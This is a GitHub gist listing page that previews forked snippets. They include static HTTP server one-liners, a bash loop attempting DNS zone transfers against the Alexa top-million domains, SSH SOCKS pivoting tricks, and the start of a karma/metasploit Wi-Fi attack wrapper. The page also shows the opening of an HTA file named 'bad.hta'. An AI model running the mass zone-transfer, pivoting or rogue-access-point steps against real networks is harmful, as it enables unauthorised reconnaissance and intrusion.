Skip to content

Instantly share code, notes, and snippets.

@pawmsf
pawmsf / web-servers.md
Created July 17, 2017 09:17 — forked from willurd/web-servers.md
Big list of http static server one-liners

Each of these commands will run an ad hoc http static server in your current (or specified) directory, available at http://localhost:8000. Use this power wisely.

Discussion on reddit.

Python 2.x

$ python -m SimpleHTTPServer 8000
@pawmsf
pawmsf / gist:1a1d405c1daa028dfa59df134e1c545a
Created November 15, 2016 12:58 — forked from ethicalhack3r/gist:6145925
Zone Transfer Alexa Top 1 Million using dnsrecon
#!/bin/bash
while read LINE ; do
N=$((N+1))
echo "$N - $LINE"
python dnsrecon.py -d $LINE -t axfr -c axfr_results/$N-$LINE.csv
done < alexa.txt
@pawmsf
pawmsf / ssh_tricks
Created November 2, 2016 21:30 — forked from sckalath/ssh_tricks
ssh kung fu
##SOCKS Proxy##
#Set up a SOCKS proxy on 127.0.0.1:1080 that lets you pivot through the remote host (10.0.0.1):
#Command line:
ssh -D 127.0.0.1:1080 10.0.0.1
#~/.ssh/config:
Host 10.0.0.1
DynamicForward 127.0.0.1:1080
#You can then use tsocks or similar to use non-SOCKS-aware tools on hosts accessible from 10.0.0.1:
@pawmsf
pawmsf / karmetasploiter.sh
Created October 23, 2016 14:07 — forked from apsamuel/karmetasploiter.sh
A wrapper for karma/metasploit wifi attack
#!/usr/bin/env bash
#purpose: perform low level steps and execute the karma.rc resource within metasploit.
int=$1
function stop_airmon {
nic=$1
airmon-ng stop $nic
if [ $? -ne 0 ]; then echo "[+] could not stop airmon on $nic"; exit 1; else echo "[+] successfully stopped airmon for $nic"; fi
}
@pawmsf
pawmsf / bad.hta
Created October 23, 2016 14:07 — forked from darkoperator/bad.hta
examplehta
<Html>
<Head>
<Title>Support Information</Title>
<HTA:Application
Caption = Yes
Border = Thick
ShowInTaskBar = Yes
SingleInstance = Yes
MaximizeButton = No